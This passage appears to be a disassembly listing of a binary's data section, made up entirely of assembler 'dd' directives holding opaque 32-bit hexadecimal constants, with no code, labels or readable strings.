		dd 73538CBBh, 1F651401h, 3A02EC9Ah, 2BA9790Ah, 4728938Ah
		dd 0CDDC0341h, 0F5B1F8C8h, 48466D01h, 0ED095A69h, 9DB038h
		dd 606B8950h, 0CB00C2F3h, 6E08AFB7h, 766F62h, 0F11D055Bh
		dd 80041AF4h, 83491004h, 6C902916h, 0E9637Fh, 549A9D6Fh
		dd 10BC50ECh, 7EFA9200h, 0AAD0B8B3h, 80A6392Bh,	11582289h
		dd 61E2E090h, 0BC4AB01Fh, 0A52D6B82h, 185091h, 0E9237F9Eh
		dd 0F2598C3Fh, 32A60096h, 0E10041A6h, 3D425015h, 200E5AB0h
		dd 1F3E598h, 76016E75h,	0BA309151h, 0D8216C16h,	0B5C1582Ch
		dd 20C6B1DAh, 2E266A90h, 3809CCD1h, 3349116h, 1CA4E0D3h
		dd 6EEF019Eh, 21A7F126h, 5083097h, 0E872DF02h, 40B0C214h
		dd 6E397368h, 70E3C0B6h, 0C1D447C4h, 7328BAB4h,	0F1950078h
		dd 0DBCD2CE1h, 651B0373h, 0D9E9A96Ch, 74F4210Fh, 0E0FB00B1h
		dd 3ACFE471h, 0DB22AAC4h, 31A9C504h, 60C342E6h,	9C03823h
		dd 168DF481h, 10B1ED90h, 30D8BA5Bh, 0A9112D15h,	0D2078B75h
		dd 27861441h, 4482DDF2h, 0BF9003Ch, 0D61D4B45h,	0C600E93Ah
		dd 0A47F540Ah, 12577AFDh, 1FDD8123h, 66FCCF00h,	1CBBB900h
		dd 56039CEEh, 7A942D53h, 44804AACh, 4079F248h, 3BB2D9EAh
		dd 13EF0041h, 7105C59Ah, 4E0E6FEEh, 0C509BE86h,	1C0851D8h
		dd 17DF8066h, 7804C2Dh,	9821D61Ch, 0D20BCF80h, 2B9860Ch
		dd 83617CECh, 80C01F9Dh, 0B32DC903h, 1CC908Eh, 0A5BB0114h
		dd 9E0D45D8h, 0E080FA02h, 29F7A9A7h, 4D9F1700h,	341FC1CDh
		dd 0AC825053h, 8C060E8Fh, 87808916h, 0A1FBE85Eh, 0ED2D9FF0h
		dd 0C6D011D9h, 348355CCh, 0C071F481h, 0B3343ACDh, 0A70041F6h
		dd 0A2427D95h, 5C8D31FCh, 0ED80988Eh, 20C51EEBh, 704B3500h
		dd 2E9566BBh, 84B92433h, 0A96A0420h, 300C89FBh,	80F8FEBCh
		dd 0FD3240h, 39912CEAh
		dd 281B5588h, 0F0DA48h,	0B61D97Bh, 4F72040Dh, 8B88002Eh
		dd 70AFB0AAh, 412F7E33h, 0E0788Dh, 0B5E0EE5Ch, 0D8040ED9h
		dd 7B9C8014h, 483ACC14h, 0CF3C2699h, 0A5D860C0h, 4109A601h
		dd 4480C442h, 8ADA03DCh, 0FEC2F17Fh, 305DC1F9h,	82002A8Ch
		dd 0C1DE49Fh, 3BD19B7Dh, 0F4986C57h, 0AFF5397Ah, 0DF33BC0Eh
		dd 461BA086h, 98B246Ah,	7A8C309Dh, 72BBF780h, 2B6117D9h
		dd 5BC573A1h, 6ED43BD1h, 8B92009Bh, 8266D406h, 14A01259h
		dd 910069B9h, 0F694C334h, 38CD5711h, 988348B3h,	9FADF04Bh
		dd 2F73D904h, 1480CE64h, 9621E9Ch, 0F394ABBBh, 7C1C4C10h
		dd 204ECD00h, 228FE92Bh, 0FB50FC8h, 472F24BCh, 433A7F60h
		dd 18099515h, 44A4E485h, 4D3D00ECh, 91991E55h, 0E01C6DDEh
		dd 0F780E11Bh, 0FDAD6825h, 0EB349031h, 27B48310h, 7F164490h
		dd 2846FA75h, 21A913h, 0A2E441E8h, 7A3BB85Dh, 0CC207902h
		dd 0E675326Ah, 67D01D40h, 0F8AA42C4h, 14C6286Fh, 0A9B31D03h
		dd 0C9E653C7h, 0E5600A04h, 4C227159h, 9E758CBEh, 7F803944h
		dd 5A03AA6Fh, 471BBCC2h, 80612A12h, 77A1CC6h, 2109DE69h
		dd 553B6089h, 393CC926h, 851497D4h, 856CB80Bh, 5C810804h
		dd 7FF48288h, 7B80F678h, 8190165Eh, 26F1E54h, 0F4BFA5E4h
		dd 0F33900C4h, 6B1D8085h, 68172B34h, 63820989h,	5D00E4ABh
		dd 19777D09h, 111A5127h, 270F66Ch, 0C3405885h, 676B5500h
		dd 0DECE7650h, 0B12A3200h, 1DA0661h, 0D9020028h, 0E308626Dh
		dd 0AE4CEFA2h, 1E3E1208h, 8D207C30h, 909B074h, 0F22ECCA6h
		dd 172500E8h, 4CE69700h, 24788763h, 19FA000Ch, 0AB5A65Dh
		dd 114C1E64h, 6D9B8020h, 107C29EAh, 7C2C5C70h, 7E6ADA00h
		dd 79E1D2F7h, 89789C72h, 70692E04h, 14EC8F02h, 4912EB18h
		dd 0E33070ECh, 321F004Eh, 674DCE20h, 8B3C0A3Fh,	0A0122709h
		dd 0D133FE68h, 0CF4804CCh, 0B0727ED3h, 0C1C7A74h, 1067445Dh
		dd 0EA3BB970h, 2E9F0553h, 0C00E7358h, 1A679A38h, 0C9E4910Bh
		dd 3B84480h, 10B2A654h,	85C81F0Dh, 5E3EF0D7h, 0C83B2927h
		dd 0AFC01280h, 0B7A7D65h, 0A93FED35h, 45597500h, 0EF166F79h
		dd 0C4231811h, 7C4CB8A6h, 0A5080099h, 0A7F0294Fh, 540ED91Eh
		dd 0EC5628A3h, 32AAC091h, 6B9FFFBh, 9D0034E6h, 8747F077h
		dd 997FE9h, 0D2215D83h,	446C7091h, 0AE82192Dh, 4C460374h
		dd 62A2FA0Ah, 78F2B7h, 4F254B9Eh, 0CB1C208Ch, 7968D40Ch
		dd 2482407Fh, 4584180Bh, 0B17BC05Ch, 0C300A6B5h, 3DDB1283h
		dd 48E1D744h, 791DA442h, 1B2BC965h, 767B1C10h, 13C0A595h
		dd 7C7DD420h, 0CEA502E2h, 31BA4854h, 918024E6h,	0E8078E38h
		dd 0D579F677h, 0DC8A8607h, 5073D640h, 996C04D9h, 82763355h
		dd 0FF2E67A4h, 376F9400h, 1D3B619Dh, 0F8FEE3Eh,	12C03CE2h
		dd 0B097B5D8h, 0AD99E907h, 59DCD7AAh, 80D89415h, 0F144E5F9h
		dd 0B800D367h, 18D64EF0h, 0A86589h, 0F53E3340h,	0A99C9635h
		dd 3F78BE00h, 7E95E8Bh,	1FB805C1h, 0B4D6A85Dh, 0D94EF444h
		dd 10ECEC22h, 6E2C9A7Dh, 0E440B08Dh, 7EF1C12h, 8CEB07Ch
		dd 0E287A0E0h, 149939AEh, 7E2BCB83h, 1E43C0BAh,	44CD021Fh
		dd 179F12DAh, 0E8866080h, 2F1DF0ADh, 5A03D268h,	0FA619811h
		dd 2A9060E9h, 67750346h, 918C2D36h, 0BFE373A0h,	10048725h
		dd 0A5E638h, 6DF20182h,	75AB40E9h, 0C2208004h, 8C88F3BAh
		dd 0F8EB004Bh, 9050AAA6h, 7A07A5AEh, 0E12F74D3h, 1F0941E1h
		dd 0EC60C060h, 793A0828h, 61802D80h, 0C9AC8B31h, 5A702D8Ch
		dd 82E3C91h, 2071487Bh,	8761DB82h, 2FE8B463h, 0C93CD0DFh
		dd 0A69C04BEh, 0E4C005EFh, 987134h, 607CD66Fh, 877D1937h
		dd 8553Ah, 0E07F62D9h, 4BD68A23h, 571E8010h, 0EEE8648Ch
		dd 9D0B08B8h, 0C9DAB3EDh, 5F10653Ch, 980E9CBCh,	0E0B0200Ah
		dd 5908F0A0h, 7AB7DA2h,	0EA3FFF6Fh, 0DBD7D025h,	2407D4AEh
		dd 74490EDAh, 0B6D573A0h, 79D33C23h, 80D15937h,	9408E0DAh
		dd 0CD408C9Eh, 0A024C6h, 4AC716FAh, 464F4733h, 7A6E7C00h
		dd 13C2FB75h, 1047FE2h,	9CE4866Dh, 4C6F262Bh, 842F98h
		dd 0CEC7C3F4h, 0B0339138h, 0BEE9FC39h, 0AFD78095h, 47BD6308h
		dd 190BE81h, 7DD10AD9h,	7E79D48Ch, 0A891C8B1h, 4E93273Bh
		dd 817A1CE1h, 86181EB9h, 54FADCh, 0BD368240h, 0F14F1D57h
		dd 1C285673h, 2ED4E834h, 2CADE85Eh, 0CFCC0040h,	49A8E9ACh
		dd 19AEB201h, 737F5B87h, 475F848h, 0E9A2C825h, 0BA15812Bh
		dd 838C68AAh, 0F08C02CDh, 54F4FA9Eh, 41B8062h, 54500E78h
		dd 4412C17Bh, 28B0702Fh, 92BAC407h, 19207203h, 0C4FD7D79h
		dd 409B12E1h, 5CDF7E5Fh, 0DD033F30h, 6DAD017Dh,	0BEDE1AB4h
		dd 40F42042h, 0D095F416h, 31169E04h, 0FC8050A8h, 238784E3h
		dd 0E8F324F6h, 0AE586B4Eh, 198A012Ch, 0DAEEAADFh, 627BC180h
		dd 0A3C477EAh, 9543D00h, 17D0B1DBh, 0E180A831h,	0C9810043h
		dd 0F1592E2Ah, 300A4ACh, 91223B80h, 703471h, 6E877B4Ch
		dd 0CC9FB05Bh, 1DA7D603h, 0E143079Ah, 0B02D8D62h, 0A3957702h
		dd 0ACC682BEh, 0B6C4E900h, 886A5D93h, 0F4143EB9h, 0FBA96C0Ah
		dd 0C02746B4h, 0EE86381Dh, 6BBC8900h, 9C50A22h,	1C673356h
		dd 59078C79h, 0DCA1AFE8h, 44F2F9AEh, 0BDEA241Ch, 3E1201C9h
		dd 0CF7A20A7h, 2578EB0h, 6174C509h, 7884D28Dh, 0D426013Ah
		dd 0B0DC2BFFh, 331DCAEh, 55CF3C01h, 60BE3011h, 731470h
		dd 18BDF0C0h, 2B200E31h, 846E2F24h, 44E2C64h, 0E0C4A4B2h
		dd 636FB500h, 0D30D3FAAh, 0B814B682h, 0CA19B080h, 11A90ED2h
		dd 9BF66E00h, 0E85B4A6Ch, 10AE6BBh, 987EA677h, 6217B4C6h
		dd 0D25008Ch, 0A01C8633h, 0A13D581Eh, 49F07F00h, 0EAE2B7D8h
		dd 10DC8B50h, 47B81860h, 4D4B044h, 0EDB48CD5h, 634089ACh
		dd 0AA7400B8h, 9287BC0Eh, 0EA320963h, 44641513h, 25A5D400h
		dd 0EB7E6DAFh, 8CF54C7Ah, 5F605C30h, 7100A96Bh,	0BDFBBB6Ah
		dd 48DE6C60h, 3B24C448h, 85E038Ch, 71978C66h, 8012879Eh
		dd 137599A0h, 0B10C7Fh,	0A31FB7E9h, 5387AFE4h, 9720213h
		dd 11475430h, 0CFF8000Ah, 4A5D37E3h, 8B002F76h,	0C4DBBC20h
		dd 3A64CC07h, 74809D6Dh, 0CF246CCAh, 97F8812Ch,	1EBF9B18h
		dd 0B1D678h, 953185Bh, 7E8516BAh, 4274412h, 5F81D401h
		dd 202AC81Fh, 0AE501984h, 0E6051100h, 0BD9042D4h, 0EB630178h
		dd 5116F239h, 8FCC4815h, 2D89B80Fh, 6586A04Eh, 5007960Fh
		dd 0F558F4Ah, 0E48B22B6h, 260BD960h, 8F5C0928h,	80585C8Dh
		dd 211F656h, 708E4C88h,	8FEC3480h, 0D00BE5B9h, 907D7BAEh
		dd 602204E8h, 0C202A956h, 0D61DB708h, 304B7E99h, 243005F5h
		dd 0E410D402h, 514C60B8h, 409C946Eh, 0E3B3D3BDh, 9926E4E8h
		dd 150594BAh, 88004405h, 0B1208A37h, 6D4A0AB9h,	608CBC01h
		dd 5DEC2B89h, 45478700h, 3ED5167Ah, 139F00D8h, 26F16376h
		dd 9302702Bh, 0EF11877Ch, 4D0D9AFh, 80D663FCh, 4CA46E0Ch
		dd 5AAC0AC3h, 0BA6A8078h, 6C70268Bh, 0BE0300B8h, 0C8F55237h
		dd 1718C300h, 0C7FCD926h, 34660468h, 0B484ED9Fh, 270014F0h
		dd 3E153C74h, 1813F71h,	2BFCDA54h, 2D119522h, 795300F4h
		dd 0DBE14B02h, 0CA07022Dh, 7EAEC217h, 0C8106CE2h, 0A502FAC4h
		dd 8F1BC761h, 916200Ah,	9A00AEC1h, 0C6B3FA19h, 0AFDD2Ch
		dd 521237A4h, 8BFFB6B7h, 0F40C7812h, 8A5834D0h,	91EE12EDh
		dd 0E880C974h, 0AB0EE449h
		dd 0EEBAF117h, 0E26B01B0h, 8832E0AAh, 39B1C300h, 2BE88EDDh
		dd 0E091822Ch, 0F9007911h, 548DA2F1h, 0C375A349h, 0D6C9500h
		dd 984CE2C1h, 44F890A6h, 0C00DCADh, 0D00DDA25h,	17E96C7h
		dd 0B662475Ch, 0A7A212AEh, 6E941878h, 4718BE90h, 0C821AF20h
		dd 0E0BF6C9Dh, 5102FC41h, 6D0F90D0h, 0A8F216h, 0D823C701h
		dd 7C0BE4E3h, 614F9E00h, 29BCF9D9h, 576324B5h, 0EB6E07FCh
		dd 6FDE80EAh, 0D4B917F5h, 9C84E039h, 4BD7AA06h,	4FD088E8h
		dd 6F08F289h, 7900E571h, 1AEAB147h, 3DD69ACCh, 3E0CE18Eh
		dd 0E02962F3h, 9FBAAB00h, 86972835h, 6BC70603h,	61F081BCh
		dd 9EE88D00h, 535ABA83h, 0AA3D0042h, 443AFA96h,	3314C161h
		dd 228F25Fh, 0F132284Bh, 787440ECh, 9758B66Ah, 488207Dh
		dd 7109927Ah, 5A81AE20h, 0DF1C0088h, 6F0BD78Ah,	537CC627h
		dd 18D31001h, 17977574h, 0E4004C69h, 0E6DE4A1Eh, 8315B7C3h
		dd 5885BBh, 94077509h, 1CD59CECh, 0C0E67B1Eh, 7F8D33D9h
		dd 910719C8h, 8BD87A79h, 0D031BDA5h, 57EC4DDCh,	0C4702C0Eh
		dd 7F270016h, 3DE6AC9Ch, 8E3E013Ah, 0A0E0C362h,	0AA829584h
		dd 89089C58h, 6C181478h, 0E10A0839h, 84956DE5h,	0F8008612h
		dd 97F9D6Ch, 7D4107ACh,	0C0312CCCh, 7E63DDD5h, 0B5DE7300h
		dd 0D47980E2h, 3C8C0059h, 71A39752h, 0D9387CB2h, 0DA1F06B1h
		dd 2E50B5AFh, 4E2C8EFCh, 0EB2A27C0h, 2B13BA97h,	6C044A76h
		dd 0E8C0FFD3h, 0E3C7F2Dh, 285573F1h, 45B8D560h,	7E1CB44Eh
		dd 0F4268D15h, 0D88BBC0Ah, 0E0F29A12h, 0CFB1C400h, 0C3C13C65h
		dd 0A0BD8F4h, 0E816F0C9h, 91B03Ch, 51A7A307h, 8B1F080Dh
		dd 0CC0079ECh, 749CE910h, 0BD15483h, 0EE04BBECh, 0ABB83480h
		dd 64B1F380h, 0DE323D00h, 358FE60h, 6D0A726Eh, 7DB89478h
		dd 730A2205h, 0CD065F2Ch, 8F186804h, 459CE4h, 213F497Bh
		dd 0E9A9BA1Ah, 7917C109h, 92C4576h, 6680DBF5h, 0F3B93FCAh
		dd 0DD0C7D01h, 120EC542h, 0BC2CAFD1h, 5760998Fh, 8C985021h
		dd 1258D675h, 24141D04h, 0D9A6EF00h, 441526Dh, 0EDA7D760h
		dd 20B8CC87h, 2EE8F49Ah, 0CCF3BB24h, 13C68049h,	16C8806h
		dd 0D02CB541h, 0F4B7DBE4h, 0FA52AACEh, 1058E8h,	0BB8C72F3h
		dd 506332Bh, 0EE14F5DAh, 924B3AFh, 72F3D7FBh, 821F0720h
		dd 200BD2ACh, 0E674E364h, 0A49E4200h, 270D0913h, 0AB67754h
		dd 0DEE57EBFh, 0E4642594h, 0E02731EEh, 3B2749Fh, 0E6EFA970h
		dd 949153h, 0D6AD9D8h, 7AC2B9h,	0D1EB8FC9h, 432CEFADh
		dd 0C8013201h, 0D93D7D55h, 80B474FAh, 0BE1BD75Dh, 8EB84E65h
		dd 0DD9CC509h, 0B8009082h, 19EEACh, 266F68C3h, 180A1389h
		dd 0AA97250Bh, 20717Bh,	0C05F8594h, 67508FD1h, 0E0B0394h
		dd 462D2BACh, 24F7E060h, 3802FF5h, 8C94C598h, 65626D80h
		dd 0A76A7900h, 15C2037Bh, 0BED50170h, 1C9698A8h, 7C36305Dh
		dd 0A9AD6013h, 3BCCE889h, 672A0056h, 5ADD7610h,	0C73DBF18h
		dd 0DEBB0072h, 8B53386Eh, 0D0B95887h, 517F4800h, 0D3CED973h
		dd 1D82E48h, 2DDA8F20h,	6B919Ch, 1F889045h, 0C000A27h
		dd 0FA79B892h, 8D5C23h,	0FE578586h, 0BD966893h,	4915D00h
		dd 0FF01F5E3h, 58BC070Eh, 0D041023Dh, 2B6E3663h, 3F003472h
		dd 9037F6CDh, 1C3069EBh, 8018D67Ch, 86EFF129h, 40CE13C9h
		dd 0CF66A06Ah, 0DFE65A5Eh, 79B50050h, 1141E5BAh, 0F4691D00h
		dd 9BE160EFh, 0F617EAABh, 0FF28C006h, 46BECB8Fh, 0F3EA4700h
		dd 0FB19D202h, 3E2B2C79h, 7BFC01E6h, 0B9EC1D42h, 26A90031h
		dd 0D6CC443Ch, 313874A2h, 0E779F586h, 0D5299C05h, 406709h
		dd 0E21A56F0h, 776CFE02h, 0A5920085h, 96F60C16h, 7C006B39h
		dd 0D3608DABh, 0C382677h, 0BF82E641h, 610057E1h, 0E17CBD9Fh
		dd 15EA9D8h, 2A3F93DFh,	8119954Bh, 0BA300E40h, 48831F20h
		dd 0CE272378h, 857F413Fh, 3AEE5177h, 0A5627AC0h, 9C94003Eh
		dd 176E04AAh, 0C1C1E459h, 70AB0CD4h, 44D6FCh, 6B491543h
		dd 7367DC96h, 822EEA07h, 1CB60F97h, 0CD2730E9h,	0A1DC8469h
		dd 0BDFCE100h, 38EF8A90h, 0AAEC0010h, 0CCA32285h, 1E88E092h
		dd 0C041C01Bh, 4A8874ABh, 0B17B4600h, 0F5105FACh, 0C32800E4h
		dd 70625089h, 5510FE45h, 677FF05h, 5A653725h, 800051E3h
		dd 0BD3F10B3h, 1DDD13Eh, 0F1AC79C6h, 0F0195FC3h, 2F0AB07Ah
		dd 0DC20B410h, 48FE8803h, 0D9510014h, 0E75D197Ch, 0CC18C57Bh
		dd 0D859F78Eh, 0D75E0089h, 0C79301A9h, 0B9C0021Fh, 4710D2F9h
		dd 1AA00084h, 4F20D860h, 0E1302822h, 0F0B85811h, 85420173h
		dd 0CD59622Ch, 921ED825h, 6011A05h, 600158C8h, 4178FA19h
		dd 0B21CF0h, 9B6766E0h,	0C415F2F8h, 0AB369D0Fh,	283802ECh
		dd 2AB8A0D5h, 3298746h,	0BCE2DE03h, 82D8EB66h, 714810E6h
		dd 0B5D98058h, 0C8FC32B4h, 1E8CE7D8h, 3D722104h, 0A09E4FCBh
		dd 97E48007h, 0CB9F673h, 0BE926B04h, 30C3598Fh,	0CDD4A890h
		dd 7C5206C9h, 896101A3h, 0F90FBC7Ah, 62DECC2Eh,	60F2D989h
		dd 3CEE0Ch, 16E88FE2h, 7CFA1C79h, 0ED64A578h, 4640FE80h
		dd 0B2033ED5h, 88C90103h, 0C8891258h, 7FC0F7A0h, 0CCF050E0h
		dd 84CC11BFh, 90E412FDh, 0EFAF9020h, 73180626h,	59EDC710h
		dd 0C1608C00h, 5B3EDD7Ch, 75BE00C9h, 0A6B17F05h, 2F481CD7h
		dd 0DC5C01F0h, 0D39DFDD6h, 2A684AD4h, 0E0E228h,	3285ACBBh
		dd 0AD3159E1h, 0EF008276h, 0AE92F454h, 186EA91Fh, 89D42867h
		dd 0E1EAAFF2h, 91ACD01Ch, 842BDE40h, 7AE7F943h,	34C448BFh
		dd 23DC71Ch, 2938CDDh, 41370C77h, 5A2E0915h, 0B9842984h
		dd 0F55480B8h, 64249FEh, 8DB14A00h, 3D2F0D31h, 0CCE8C870h
		dd 8CF57B29h, 5D05BD91h, 282EFF2h, 73105C08h, 0D6120C44h
		dd 98007F36h, 3269F158h, 1F911B5Eh, 71004CF0h, 3DB64170h
		dd 0A6C593h, 19C79287h,	0A7FA0D4h, 4638C8F4h, 9528F7F5h
		dd 8A006429h, 894BC285h, 9D69C09h, 276968E7h, 21C38C10h
		dd 0A300B27Ah, 96896AE2h, 7F24FE71h, 902E0760h,	925459C4h
		dd 2440F115h, 99012CA0h, 0F73230D3h, 49F05D04h,	5B9E0EAAh
		dd 0DF6068B3h, 5E3789B0h, 0CC302D04h, 7488F27Dh, 0F8CF88EDh
		dd 3531B900h, 8D37F75Dh, 96740087h, 0E9915C33h,	0FF0C3DFDh
		dd 0A9E3284Eh, 0F31748BBh, 9A491A00h, 6311B07h,	0E58C400Bh
		dd 4CC80B9h, 0A8B4C9h, 7463E08Eh, 92E30EA1h, 46EC5D03h
		dd 0F00AC64Dh, 3CCFE4h,	0B806A873h, 16C9A615h, 9200657Ah
		dd 6B746E0Eh, 0F8F68A9h, 6D1ACB86h, 80FB1CE5h, 1EEE9CA9h
		dd 0C8BF3B06h, 31953Dh,	0FFDB3F77h, 0C9EFA588h,	980FDEE2h
		dd 46FE6C04h, 77289FD0h, 0FFB30092h, 0A08ACCD8h, 7005FDCh
		dd 0D5D4632Bh, 3C69117Dh, 0E718DB02h, 66A1581Eh, 0DDC1BA00h
		dd 0D4EADEF4h, 500C001Fh, 0B4189327h, 0F1006CB2h, 5401FD45h
		dd 0F04920C5h, 0D9CF01D2h, 8D9EC79Fh, 9684516Fh, 718AE0AFh
		dd 14E911C0h, 8966EF7Fh, 0CB723013h, 0A9900F00h, 5625F16Dh
		dd 9694071Ch, 312D3075h, 0C3F01E81h, 0A26E3000h, 337F40Ah
		dd 54D50E88h, 4C4C9E95h, 402BC51h, 3E997964h, 0CE94A08Fh
		dd 12EAB66h, 0DF43A2E6h, 0D4490709h, 0F501D386h, 0DB875FAh
		dd 0D8806292h, 65A95AB7h, 1E18F0B3h, 94791DE7h,	3A8A3075h
		dd 0A3904560h, 0B0BA5814h, 0D4513AB8h, 9B074138h, 0FCB6EE43h
		dd 66149C70h, 0E353029Fh, 793D3060h, 96001446h,	0D464CC82h
		dd 0F032200Bh, 3D510087h
		dd 0E6F8F6ECh, 1EF41937h, 8002CA29h, 0EBF72007h, 0F74E75F3h
		dd 971547FFh, 0EDB094B7h, 6722A5F6h, 5E8AA0E0h,	885C0A82h
		dd 0B207208Eh, 9EBB40E5h, 0C0C0753Dh, 0E84CBD5Dh, 1A3E8DAh
		dd 4B44EA20h, 8168EC0Ch, 985FCCA9h, 0B9F7E5FBh,	3883D7E4h
		dd 433E92E9h, 7000F8B6h, 82E833C6h, 726B60h, 0D17E02DEh
		dd 8B058C4Fh, 0B5EBFD00h, 80625A9Bh, 288C9894h,	5C0A689h
		dd 0E1240A27h, 0E48C214Dh, 0EDB1D417h, 4C92E775h, 0CCA05C00h
		dd 22BAA935h, 0A2843FFAh, 43BB2300h, 87DDB34Eh,	20E91F6Eh
		dd 672492A8h, 0A30F0189h, 97D31004h, 0ED2020ADh, 0BC1FB400h
		dd 3ABF2FEFh, 84601E23h, 0C11607CDh, 826C946Dh,	90206854h
		dd 587A94FDh, 703D7E9h,	3B2004FEh, 6C993Dh, 366A0C45h
		dd 12D548F7h, 40873D95h, 0A3D4A508h, 0E40267C1h, 287FB90Bh
		dd 4C64407Ah, 0AF940090h, 975B5EC6h, 6B01E36Dh,	0E2DBF956h
		dd 0ABF0C984h, 3E678893h, 7A294700h, 0A1C022B8h, 0F0985048h
		dd 0C2DA075Fh, 0A1783F75h, 804A8E9Dh, 4E5B65B9h, 381B3511h
		dd 30E43D9Ch, 521480FCh, 9550B033h, 300011C0h, 2635172Fh
		dd 4E2D780h, 0DAF078B6h, 71E882D1h, 7FD44020h, 75E4241Eh
		dd 90FC63C8h, 5D035001h, 62EF8517h, 0DF9D3182h,	3BC12582h
		dd 0FEDBF0F0h, 67E13519h, 0B1C83C21h, 73290470h, 83954793h
		dd 0D888E340h, 0F1076AD2h, 9786692Eh, 5EF263D0h, 383749A8h
		dd 0C009E915h, 245FA2Ch, 69E40562h, 0DB980240h,	47619300h
		dd 530271FCh, 0D08064AFh, 9C288C7Eh, 0AB89180Eh, 81E8E0C8h
		dd 0C3F9ACh, 44233428h,	2B87CB33h, 1E489F40h, 0C3242D22h
		dd 0BD9907A2h, 0C11AC6D0h, 38DC403Ch, 15A906F6h, 0CB8D1F7h
		dd 9B283368h, 1307F4D0h, 89817924h, 0E47D6D80h,	1E0514A8h
		dd 0C480A4EFh, 0E3435A20h, 9366E902h, 40F1FCF5h, 5F95F0Ch
		dd 0BF164D95h, 0FAFE8796h, 7CE900E0h, 0D8FDF563h, 86712B14h
		dd 20CACEBCh, 0BAD16E78h, 3B19020Ch, 60E0BE3Ch,	93988F20h
		dd 0E31B075Ch, 0A023E5FFh, 830FC23Fh, 4B4DAD04h, 3C90963Dh
		dd 99C563Ch, 6FA6FAFCh,	0CCBBF084h, 79502EE8h, 72ECF5E7h
		dd 3D4F9100h, 7FD6AD3Fh, 0BC7D4Eh, 0B290DBDCh, 0AF386DB8h
		dd 0BDC91000h, 996708B1h, 508DE60Eh, 0A529476h,	15E8FF8Ch
		dd 0B0A080D0h, 0D2EE8762h, 961E0300h, 53C3E690h, 9C3E582Ch
		dd 0F55F6380h, 897E79C2h, 0A554A400h, 8858B0C9h, 0C71600E8h
		dd 7F95E301h, 0DA168687h, 5022809Eh, 0E988408Fh, 0C03D7C90h
		dd 0AD382B51h, 0FA1D925Eh, 71C75028h, 90D0155Bh, 26BDB137h
		dd 403488DFh, 8F8E685Dh, 0C3B8C600h, 1EE908FFh,	217760CCh
		dd 0EE67F09Fh, 0BB52A802h, 0C0C9871Fh, 90A4961Ch, 9D400CF8h
		dd 43888145h, 39068830h, 0D4EF0Dh, 0D5C2D0C5h, 5C15C73Ch
		dd 0B78C400h, 9D66B827h, 0C9706581h, 0F6A00077h, 0B6E83562h
		dd 0ED3C488h, 19815089h, 0EE69856Fh, 8090D404h,	73C4E930h
		dd 0F9943E30h, 5C030DFCh, 0F026C17h, 9C2D6D88h,	5EE1F460h
		dd 67149F50h, 117EBB00h, 3D424571h, 87DF18F7h, 5ECFB904h
		dd 0A3A92900h, 0DB180667h, 0C3AD1813h, 3887CFDh, 0DC009CA4h
		dd 8E67719Bh, 30CEFDFh,	95308328h, 0C10E12E8h, 4086E0C7h
		dd 1C79AFC6h, 0D49A01FFh, 0E14AF1C2h, 974E070h,	84306700h
		dd 38F380C7h, 0EFF50336h, 111C04F8h, 89244973h,	680E429h
		dd 0C5BEEE9h, 68AA2D46h, 0F507B05Eh, 312C1D04h,	0A8A00767h
		dd 42EDD361h, 0AC44E35Eh, 0DECE4B00h, 72C290E2h, 24A6B0ECh
		dd 40ACEFB8h, 4F3B9F17h, 0CD186A07h, 38A1310Ch,	0C760C9D3h
		dd 0A89B00B9h, 958FDE56h, 1D0F6586h, 0D7521F96h, 0E9BB9500h
		dd 39461E71h, 0A600F356h, 53B9B48Fh, 0D251DB15h, 31642190h
		dd 81B8086Ah, 8B407607h, 85B3AA6Ch, 0CB7DABA5h,	0E0D09A28h
		dd 91819C4Ah, 0ACAC78h,	4E4F318Ah, 0D648B956h, 504C2288h
		dd 268FAE34h, 1C0B28Bh,	172B853Ah, 125432CAh, 4478A3Dh
		dd 0CEC256D2h, 516B408Bh, 13AF2462h, 1AE060CCh,	0C900A241h
		dd 19221FC1h, 7CC700Ah,	61C077AAh, 93E4A029h, 0F3098357h
		dd 649F80h, 40314812h, 0EC5900A3h, 0D6D95DDh, 33025C24h
		dd 0E7964629h, 69D4A014h, 0B243D6h, 0D24752E8h,	0E97D4FB9h
		dd 0C8F0DF07h, 0A4432610h, 0F515E00Dh, 0B8620EA5h, 41380604h
		dd 9F24CE3Ch, 0C02C4F4h, 0E687F0A2h, 9BD100F8h,	0CC9912ADh
		dd 89603D55h, 0D5E3FED9h, 1788011Eh, 0E8C25067h, 1942095h
		dd 9F4029F4h, 287196h, 31D06376h, 40C973Dh, 935B7701h
		dd 0E8EE03E4h, 0B6004462h, 63274036h, 81A033EAh, 1A02100Eh
		dd 0DFA29002h, 0FE3044E1h, 0EF07334h, 0FC24380Fh, 0B502A9C0h
		dd 0CD13B9A8h, 400D7A3h, 9D546EBh, 23EF0AFDh, 40F0E0AEh
		dd 81C13255h, 5FC2658h,	0E654E84Eh, 0F7AA488h, 0E74B1891h
		dd 0FC66EF80h, 6901872Fh, 0F6E43E5h, 0E889A011h, 2423977Bh
		dd 9099518h, 809B4AA8h,	0ED1E58A8h, 987309B2h, 1C909E5Eh
		dd 8E1DAC5Fh, 2FB867Fh,	0E51E06B3h, 27492C75h, 50472894h
		dd 4F8DCEC0h, 340301B0h, 4ED65F45h, 1760E63Ch, 237A75BCh
		dd 818A7409h, 114C810Dh, 88D06D45h, 0F6E20009h,	0C0804D8Eh
		dd 7493DA6Eh, 0D10D013Eh, 47A890D3h, 485CE070h,	4516047Eh
		dd 0A94020E7h, 82008F7Fh, 14300395h, 15D611CAh,	800B44D7h
		dd 6EA37807h, 0B84E31BAh, 92D261E0h, 84303A18h,	0E555C1h
		dd 3B2BEF2Ah, 99DAE957h, 5EF7DD00h, 881B439h, 883D3070h
		dd 51509D31h, 0ACE03307h, 0D570AF79h, 0D0773BE2h, 4E0AC0E8h
		dd 809C1C88h, 0BCD6C9A0h, 0F77CABDAh, 0C000C99h, 0E043953Dh
		dd 1C58E462h, 0C10A3B41h, 61337412h, 282439A9h,	0D205951Eh
		dd 806511D0h, 84E65C0Ah, 0B8B17640h, 0E79D07A7h, 0F1F839h
		dd 0D39BFBFCh, 0E2F2F550h, 4574681Eh, 8E61878h,	0EC12F39h
		dd 0E509D880h, 0B06950E0h, 6700C988h, 531B0DC8h, 8744241h
		dd 0E752143Fh, 4BB38341h, 0E1AE2E4h, 0E6D39065h, 78509CC0h
		dd 2912FC09h, 1427AB61h, 0E05CC8E9h, 87DE0059h,	0D55B4437h
		dd 970347EFh, 7B32D383h, 84C8AC9Dh, 0D4284986h,	8581CE03h
		dd 27D8ECDBh, 0B0D5D22h, 3CF68F42h, 0F0EDA8DFh,	66940090h
		dd 0D014EF38h, 0B9787825h, 4204F5Dh, 95805E4Eh,	30739C4Fh
